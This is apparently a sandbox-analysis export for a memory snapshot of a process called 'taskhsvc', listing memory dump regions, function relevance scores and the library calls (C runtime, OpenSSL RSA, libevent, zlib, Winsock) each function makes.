Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00326B1B, Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 289

APIs

abort.MSVCRT ref: 00326B85

Part of subcall function 003159C4: _open.MSVCRT ref: 00315A44
Part of subcall function 003159C4: __stack_chk_fail.LIBSSP-0 ref: 00315A5A

strerror.MSVCRT ref: 00326BFE
_close.MSVCRT ref: 00326C73
_close.MSVCRT ref: 00326CDE

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 003256C9: _read.MSVCRT ref: 0032577A
Part of subcall function 003256C9: __stack_chk_fail.LIBSSP-0 ref: 003257B4

strerror.MSVCRT ref: 00326D57
free.MSVCRT ref: 00326D9F
_close.MSVCRT ref: 00326DB1
strchr.MSVCRT ref: 00326DED

Part of subcall function 00322124: strchr.MSVCRT ref: 0032215B
Part of subcall function 00322124: __stack_chk_fail.LIBSSP-0 ref: 0032219D

strlen.MSVCRT ref: 00326E4C
__stack_chk_fail.LIBSSP-0 ref: 00326F50

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

free.MSVCRT ref: 00326EEB
_close.MSVCRT ref: 00326EFD
_close.MSVCRT ref: 00326F1D
memcpy.MSVCRT ref: 00326F3D

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

0, xrefs: 00326F28

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C73E6, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 153

APIs

strcmp.MSVCRT ref: 001C7403
strcmp.MSVCRT ref: 001C741F
strcmp.MSVCRT ref: 001C7445
strcmp.MSVCRT ref: 001C7465
strcmp.MSVCRT ref: 001C7485
strcmp.MSVCRT ref: 001C74A1
strcmp.MSVCRT ref: 001C74BD
strcmp.MSVCRT ref: 001C74D9
strcmp.MSVCRT ref: 001C74F5

Part of subcall function 002E40B6: free.MSVCRT ref: 002E40F9
Part of subcall function 002E40B6: free.MSVCRT ref: 002E4122
Part of subcall function 002E40B6: free.MSVCRT ref: 002E4145
Part of subcall function 002E40B6: __stack_chk_fail.LIBSSP-0 ref: 002E4167

__stack_chk_fail.LIBSSP-0 ref: 001C77A4

Part of subcall function 00314127: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C7567), ref: 003141A3
Part of subcall function 00314127: _fileno.MSVCRT ref: 003141BF
Part of subcall function 00314127: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,001C7567), ref: 003141EF
Part of subcall function 00314127: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C7567), ref: 00314244
Part of subcall function 00314127: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,001C7567), ref: 00314261

Part of subcall function 0021FAAB: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CA76C), ref: 0021FB18

Part of subcall function 00343078: zlibVersion.ZLIB1 ref: 00343088
Part of subcall function 00343078: __stack_chk_fail.LIBSSP-0 ref: 00343098

Part of subcall function 00335D43: SSLeay_version.LIBEAY32 ref: 00335D63
Part of subcall function 00335D43: __stack_chk_fail.LIBSSP-0 ref: 00335D8B

Part of subcall function 003EC348: event_get_version.LIBEVENT-2-0-5 ref: 003EC358
Part of subcall function 003EC348: __stack_chk_fail.LIBSSP-0 ref: 003EC368

Part of subcall function 003188BE: memset.MSVCRT ref: 00318901
Part of subcall function 003188BE: __stack_chk_fail.LIBSSP-0 ref: 00318B19

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

strstr.MSVCRT ref: 001C761B
strstr.MSVCRT ref: 001C7635

Part of subcall function 00319204: WSAStartup.WS2_32 ref: 0031922D
Part of subcall function 00319204: __stack_chk_fail.LIBSSP-0 ref: 00319286

Strings

,@, xrefs: 001C7646
,@, xrefs: 001C7673

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003EC11F, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 94

APIs

abort.MSVCRT ref: 003EC173
event_config_new.LIBEVENT-2-0-5 ref: 003EC183
__stack_chk_fail.LIBSSP-0 ref: 003EC2A5

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 003EC1C5
event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC1D8
event_config_set_num_cpus_hint.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC1F5
event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC208
event_base_new_with_config.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC213
event_config_free.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC223
exit.MSVCRT ref: 003EC25C

Part of subcall function 003EC319: event_base_get_method.LIBEVENT-2-0-5 ref: 003EC331
Part of subcall function 003EC319: __stack_chk_fail.LIBSSP-0 ref: 003EC341

event_get_version.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00231ACE), ref: 003EC268

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

l, xrefs: 003EC1B5
TG, xrefs: 003EC27D
lG, xrefs: 003EC153

Memory Dump Source

Source File: 00000013.00000002.1855569787.003E5000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002DE4A0, Relevance: 23.7, APIs: 11, Strings: 2, Instructions: 919

APIs

abort.MSVCRT ref: 002DE529

Part of subcall function 00334233: memset.MSVCRT ref: 00334279
Part of subcall function 00334233: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002DE544), ref: 0033428C

Part of subcall function 00322710: abort.MSVCRT ref: 00322766
Part of subcall function 00322710: abort.MSVCRT ref: 003227B5
Part of subcall function 00322710: __stack_chk_fail.LIBSSP-0 ref: 0032281B

abort.MSVCRT ref: 002DE5BE
memchr.MSVCRT ref: 002DE5EE

Part of subcall function 00322918: __stack_chk_fail.LIBSSP-0 ref: 0032296C

Part of subcall function 00322414: strlen.MSVCRT ref: 0032243C
Part of subcall function 00322414: memcmp.MSVCRT ref: 00322476
Part of subcall function 00322414: __stack_chk_fail.LIBSSP-0 ref: 00322486

Part of subcall function 002DE31B: __stack_chk_fail.LIBSSP-0 ref: 002DE499

abort.MSVCRT ref: 002DECD7
memchr.MSVCRT ref: 002DED07
__stack_chk_fail.LIBSSP-0 ref: 002DF466

Part of subcall function 003223BF: strlen.MSVCRT ref: 003223E1
Part of subcall function 003223BF: strncmp.MSVCRT ref: 003223FD
Part of subcall function 003223BF: __stack_chk_fail.LIBSSP-0 ref: 0032240D

memchr.MSVCRT ref: 002DEDAC

Part of subcall function 003342F8: strlen.MSVCRT ref: 0033431A
Part of subcall function 003342F8: __stack_chk_fail.LIBSSP-0 ref: 00334343

Part of subcall function 002DDDB7: __stack_chk_fail.LIBSSP-0 ref: 002DDDF1

Part of subcall function 0033434A: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DEE90), ref: 003343B0
Part of subcall function 0033434A: memcpy.MSVCRT ref: 00334405
Part of subcall function 0033434A: __stack_chk_fail.LIBSSP-0 ref: 00334423

Part of subcall function 002CF5C4: strlen.MSVCRT ref: 002CF5EC
Part of subcall function 002CF5C4: __stack_chk_fail.LIBSSP-0 ref: 002CF619

abort.MSVCRT ref: 002DEFAD
memchr.MSVCRT ref: 002DEFD7

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

strcmp.MSVCRT ref: 002DF193
strcmp.MSVCRT ref: 002DF262

Part of subcall function 00333FC6: abort.MSVCRT ref: 00334024
Part of subcall function 00333FC6: abort.MSVCRT ref: 0033407F
Part of subcall function 00333FC6: abort.MSVCRT ref: 003340C1
Part of subcall function 00333FC6: abort.MSVCRT ref: 0033411F
Part of subcall function 00333FC6: abort.MSVCRT ref: 003341E9
Part of subcall function 00333FC6: __stack_chk_fail.LIBSSP-0 ref: 0033422C

Part of subcall function 00331A54: memset.MSVCRT ref: 00331ADE
Part of subcall function 00331A54: abort.MSVCRT ref: 00331C29
Part of subcall function 00331A54: __stack_chk_fail.LIBSSP-0 ref: 00331C43

Part of subcall function 003365C1: RSA_new.LIBEAY32 ref: 003365D1
Part of subcall function 003365C1: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,002DF274), ref: 00336613
Part of subcall function 003365C1: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,002DF274), ref: 0033662E

Part of subcall function 00336A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336A9C
Part of subcall function 00336A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336ADB
Part of subcall function 00336A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336B2E
Part of subcall function 00336A40: BIO_new_mem_buf.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336B40
Part of subcall function 00336A40: RSA_free.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336B68
Part of subcall function 00336A40: PEM_read_bio_RSAPrivateKey.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336B8B
Part of subcall function 00336A40: BIO_free.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336B9E
Part of subcall function 00336A40: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF2AC), ref: 00336BD8

Part of subcall function 00336FC3: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 0033701F
Part of subcall function 00336FC3: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 0033705E
Part of subcall function 00336FC3: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 003370A0
Part of subcall function 00336FC3: BIO_s_mem.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 003370A5
Part of subcall function 00336FC3: BIO_new.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 003370AD
Part of subcall function 00336FC3: BIO_write.LIBEAY32 ref: 003370D9
Part of subcall function 00336FC3: RSA_free.LIBEAY32 ref: 003370F1
Part of subcall function 00336FC3: PEM_read_bio_RSAPublicKey.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 00337114
Part of subcall function 00336FC3: BIO_free.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 00337127
Part of subcall function 00336FC3: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DF1E1), ref: 00337161

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 002DDDF8: __stack_chk_fail.LIBSSP-0 ref: 002DE314

Part of subcall function 00322871: __stack_chk_fail.LIBSSP-0 ref: 003228C7

Strings

, xrefs: 002DF3BB
yF, xrefs: 002DF228

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00270D5F, Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 367

APIs

abort.MSVCRT ref: 00270DCB
abort.MSVCRT ref: 00270E0A

Part of subcall function 0026D20C: __stack_chk_fail.LIBSSP-0 ref: 0026D242

abort.MSVCRT ref: 00270EA8

Part of subcall function 00273FB0: __stack_chk_fail.LIBSSP-0 ref: 00274068

Part of subcall function 00270C0E: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00270EEE), ref: 00270C6B
Part of subcall function 00270C0E: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00270EEE), ref: 00270CAA
Part of subcall function 00270C0E: __stack_chk_fail.LIBSSP-0 ref: 00270D58

abort.MSVCRT ref: 00270F7D
abort.MSVCRT ref: 00270FC0
abort.MSVCRT ref: 00271023
abort.MSVCRT ref: 00271066
abort.MSVCRT ref: 002710C9
abort.MSVCRT ref: 0027110C

Part of subcall function 0027734D: time.MSVCRT ref: 0027736A
Part of subcall function 0027734D: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00271149), ref: 002773AC
Part of subcall function 0027734D: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00271149), ref: 002773D2

Part of subcall function 00277229: time.MSVCRT ref: 00277246
Part of subcall function 00277229: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00272A0F), ref: 00277288
Part of subcall function 00277229: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00272A0F), ref: 002772BA

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

__stack_chk_fail.LIBSSP-0 ref: 00271337

